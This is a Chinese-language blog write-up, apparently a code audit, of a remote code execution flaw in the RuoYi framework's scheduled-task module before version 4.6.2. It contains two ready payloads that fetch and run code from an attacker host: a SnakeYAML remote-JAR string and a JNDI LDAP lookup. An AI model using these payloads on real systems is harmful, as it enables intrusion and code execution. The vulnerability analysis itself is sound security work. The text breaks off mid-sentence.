1. 初识RuoYi定时任务:一个“方便”的功能如何变成致命后门
如果你用过若依(RuoYi)这个快速开发框架,肯定对它的定时任务模块不陌生。在系统监控菜单下,你可以轻松创建一个定时任务,让它每隔几分钟执行一次数据同步、日志清理或者发送邮件。这个功能设计初衷是为了方便开发者,不用自己手写复杂的Quartz配置,直接在后台界面填个“调用目标字符串”就行。比如,你可以写 ryTask.ryParams('ry') 来调用一个Spring Bean,或者写 com.ruoyi.quartz.task.RyTask.ryParams('ry') 来直接调用一个类的方法。看起来挺美,对吧?
但问题就出在这个“调用目标字符串”上。在早期版本里,RuoYi对这个字符串几乎没做任何校验。这意味着,只要你能进到后台(或者通过其他漏洞拿到后台权限),你就能让系统执行你指定的任何类、任何方法。这相当于把系统的“方向盘”直接交给了用户。我当时在审计代码的时候,看到这块逻辑心里就咯噔一下:这哪是定时任务,这分明是一个内置的“代码执行器”啊。
我们来简单看看它的实现原理。在 com.ruoyi.quartz.util.JobInvokeUtil 类里,有一个 invokeMethod 方法。当你创建的任务到点执行时,系统就会走到这里。它会解析你填写的字符串,拆分成类名(或Bean名)、方法名和参数。然后,它做了一个关键判断:如果这个类名不是一个合法的全限定类名(比如 ryTask),它就认为这是一个Spring容器里的Bean,直接用 SpringUtils.getBean() 把它捞出来。如果是个全限定类名(比如 com.xxx.EvilClass),它就直接用 Class.forName().newInstance() 反射创建对象。最后,再用反射去调用你指定的方法。
整个过程行云流水,没有任何障碍。攻击者只需要找到一个合适的、能执行命令的类,把它填进去,系统就会乖乖照办。这种漏洞我们通常叫它“不安全的反射调用”,是Java Web应用里非常典型的一类问题。RuoYi的定时任务模块,在很长一段时间里,就是这么一个敞开着的大门。
2. 漏洞的起点:4.6.2版本前的“无政府状态”
在RuoYi 4.6.2版本之前,定时任务模块对“调用目标字符串”的过滤,可以说聊胜于无。我们来看一下 SysJobController 里的 addSave 方法,这是添加任务时的入口。我翻过4.5.1版本的代码,里面的校验逻辑简单得让人吃惊:
// 4.6.2版本之前的粗略检查
if (StringUtils.containsIgnoreCase(invokeTarget, "rmi://")) {
// 不允许rmi协议
return error("不允许远程调用");
}
// ... 然后就保存到数据库了
看到了吗?它只检查字符串里有没有 rmi:// 这个子串。这意味着什么?意味着除了直接使用RMI协议,其他任何危险的调用方式都是畅通无阻的。攻击者可以轻松地利用一些常见的危险类来执行命令。
当时最直接的利用方式有两种。第一种是利用 SnakeYAML的反序列化。若依框架默认依赖了 snakeyaml 这个库,而它的 Yaml.load() 方法可以反序列化恶意YAML内容,导致远程代码执行。攻击者可以构造这样的调用字符串:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击者服务器/yaml-payload.jar"]]]]')
这个payload利用了Java的SPI机制,通过 ScriptEngineManager 从远程加载一个恶意的JAR包并执行其中的代码。你需要提前准备好这个JAR包,里面包含一个实现了 ScriptEngineFactory 的类,在静态代码块里写上你的恶意操作(比如执行系统命令)。然后把JAR包放在一个Web服务器上,上述payload一执行,就会去下载并加载它。
第二种更直接的方式是利用 JNDI注入。这是Java里老生常谈的问题了,通过 javax.naming.InitialContext.lookup() 方法,可以加载远程的恶意对象。payload长这样:
javax.naming.InitialContext.lookup('ldap://攻击者IP:1389/恶意对象名')
攻击者只需要启动一个恶意的JNDI服务器(比如用 marshalsec 或 JNDI-Injection-Exploit 工具),监听1389端口,并配置好要执行的命令。当RuoYi的定时任务执行到这个调用时,就会向攻击者的服务器发起请求,加载恶意类,从而在目标系统上执行任意命令。
我实测过这个漏洞,在4
374




被折叠的 条评论
为什么被折叠?



